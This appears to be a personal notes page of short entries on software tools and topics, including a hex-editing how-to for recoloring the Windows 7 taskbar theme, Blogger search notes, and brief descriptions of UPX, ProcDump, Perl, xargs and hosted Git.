MP3 Diags

In a few words, MP3 Diags is a GUI-based application that allows end-users to identify issues with their MP3 files, fix some of the issues and make other changes, like adding track information. It also lets you "look inside" an MP3 file.
Unlike some programs that are designed to deal with a single topic (like fixing VBR headers or adding cover art), MP3 Diags is a one stop solution that identifies more than 50 different issues in MP3 files and provides the means to fix many of them

Programs

Resource Hacker I use 64-bit

Change taskbar button font color
the default is white i wanted to change it to black
1. go to C:\Windows\Resources\Themes\Aero

2. make a copy of aero.msstyles, that way you can work with the copy

3. open aero.msstyles in hex editor

4. go to hex address 35840 and change the color from FF FF FF to color of your choice, i did black which is 00 00 00

Change taskbar date/time font color
1. go to hex address 39D78 and change the color from FF FF FF to color of your choice

2. save and close

Change taskbar color
the color of the taskbar is determined by a PNG file located inside of the aero.msstyles file. before you can edit the file you need to extract the file from aero.msstyles

1. open aero.msstyles in Resource Hacker

2. go to IMAGE\841\1033

3. Action > Save [IMAGE : 841 : 1033]

4. the file should only be 3 pixels height by 1 pixel wide, its only the bottom pixel that needs to be changed (i changed the color to silver C0C0C0)

5. after editing the picture right click on the original resource inside of resource hacker and choose "Replace Resource..."

6. Resource Type is "IMAGE", Resource Name is "841", you can leave Resource Language blank, then hit "Replace"

Apply the Custom Theme
1. rename C:\Windows\Resources\Themes\Aero\aero.msstyles to aero-old.msstyles

2. rename new file to aero.msstyles

3. log off and back on

4. right click on desktop and choose "Personalize"

5. choose "Windows 7 Basic" under "Basic and High Contrast Themes"

Blogger Custom Navbar

This all started when I decided to change the URL of my blog. The problem comes with searching the blog. I know these methods to search a Blogger blog:

1. using the Navbar
2. using Search Box Gadget
3. using Google Custom Search
4. Google Search Form

Navbar
google.com/support/forum/p/blogger/thread?tid=0225b59807fc566e

When you change the URL of your blog, older posts are no longer searchable. Some have said that only the last 26 posts are searchable. I have found that any existing posts or Imported posts with date earlier than the URL change are not searchable by the Navbar. A workaround is to go to each post and change the date to Automatic, but this is not feasible for large blogs.

Search box gadget
This is similar to the Navbar, but allows for some customization. It suffers from same search problem as the Navbar.

Google Custom Search Engine
This is similar to the Navbar, but allows for some customization. It suffers from search problems as well.

Google Search Form
go to
Design > Add a Gadget > HTML/JavaScript
and add the custom Navbar

FFmpeg, Screencast Linux

A screencast is a digital recording of computer screen output, also known as a video screen capture, often containing audio narration. The term screencast compares with the related term screenshot; whereas screenshot is a picture of a computer screen, a screencast is essentially a movie of the changes over time that a user sees on a computer screen, enhanced with audio narration.

UPX

UPX, the Ultimate Packer for eXecutables, is a free and open source executable packer supporting a number of file formats from different operating systems.

UCL has been designed to be simple enough that a decompressor can be implemented in just a few hundred bytes of code. UCL requires no additional memory to be allocated for decompression, a considerable advantage that means that a UPX packed executable usually requires no additional memory.

Process Dumper

Process Dumper is able to make a dump of a running process in a forensical manner.
Features

* dumps the whole process space (all data and code mappings)
* uses meta information to describe the different mappings (needed for advanced analysis)
* also saves the process environment and state
* outputs to stdout, so its possible to combine it with other tools (netcat etc.)
* doesn't touch the harddisk at all

ProcDump

ProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike. ProcDump also includes hung window monitoring (using the same definition of a window hang that Windows and Task Manager use), unhandled exception monitoring and can generate dumps based on the values of system performance counters. It also can serve as a general process dump utility that you can embed in other scripts.

Perl

Perl is a high-level, general-purpose, interpreted, dynamic programming language. Perl was originally developed by Larry Wall in 1987 as a general-purpose Unix scripting language to make report processing easier. Since then, it has undergone many changes and revisions and become widely popular amongst programmers. Larry Wall continues to oversee development of the core language, and its upcoming version, Perl 6. Perl borrows features from other programming languages including C, shell scripting (sh), AWK, and sed. The language provides powerful text processing facilities without the arbitrary data length limits of many contemporary Unix tools, facilitating easy manipulation of text files. Perl gained widespread popularity in the late 1990s as a CGI scripting language, in part due to its parsing abilities.

Web Design

Web design is the process of designing websites — a collection of online content including documents and applications that reside on a web server/servers.

As a whole, the process of web design includes planning, post-production, research, advertising, as well as media control that is applied to the pages within the site by the designer or group of designers with a specific purpose. The site itself can be divided into its main page, also known as the home page, which cites the main objective as well as highlights of the site's daily updates; which also contains hyperlinks that functions to direct viewers to a designated page within the site's domain.

Top Gear

Top Gear is a British television series about motor vehicles, primarily cars. It began in 1977 as a conventional motoring magazine show. Over time, and especially since a relaunch in 2002, it has developed a quirky, humorous style. The show is currently presented by Jeremy Clarkson, Richard Hammond and James May, and has featured at least three different test drivers known as The Stig.

The show has received acclaim for its visual style and presentation, as well as criticism for its content and comments made by presenters. Columnist A. A. Gill, close friend of Clarkson and fellow Sunday Times columnist, described the show as "a triumph of the craft of programme making, of the minute, obsessive, musical masonry of editing, the French polishing of colourwashing and grading".

Windows XP Professional SP3

In 2001, Microsoft released Windows XP (code named "Whistler"). The merging of the Windows NT/2000 and Windows 95/98/Me lines was finally achieved with Windows XP. Windows XP uses the Windows NT 5.1 kernel, marking the entrance of the Windows NT core to the consumer market, to replace the aging 16/32-bit branch. The initial release met with considerable criticism, particularly in the area of security, leading to the release of three major Service Packs. Windows XP SP1 was released in September 2002, SP2 came out in August 2004 and SP3 came out in April 2008.

xargs

xargs is a command on Unix and most Unix-like operating systems used to build and execute command lines from standard input. Under the Linux kernel before version 2.6.23, arbitrarily long lists of parameters could not be passed to a command,[1] so xargs breaks the list of arguments into sublists small enough to be acceptable.

Hosted Git

If you don’t want to go through all of the work involved in setting up your own Git server, you have several options for hosting your Git projects on an external dedicated hosting site. Doing so offers a number of advantages: a hosting site is generally quick to set up and easy to start projects on, and no server maintenance or monitoring is involved. Even if you set up and run your own server internally, you may still want to use a public hosting site for your open source code — it’s generally easier for the open source community to find and help you with.
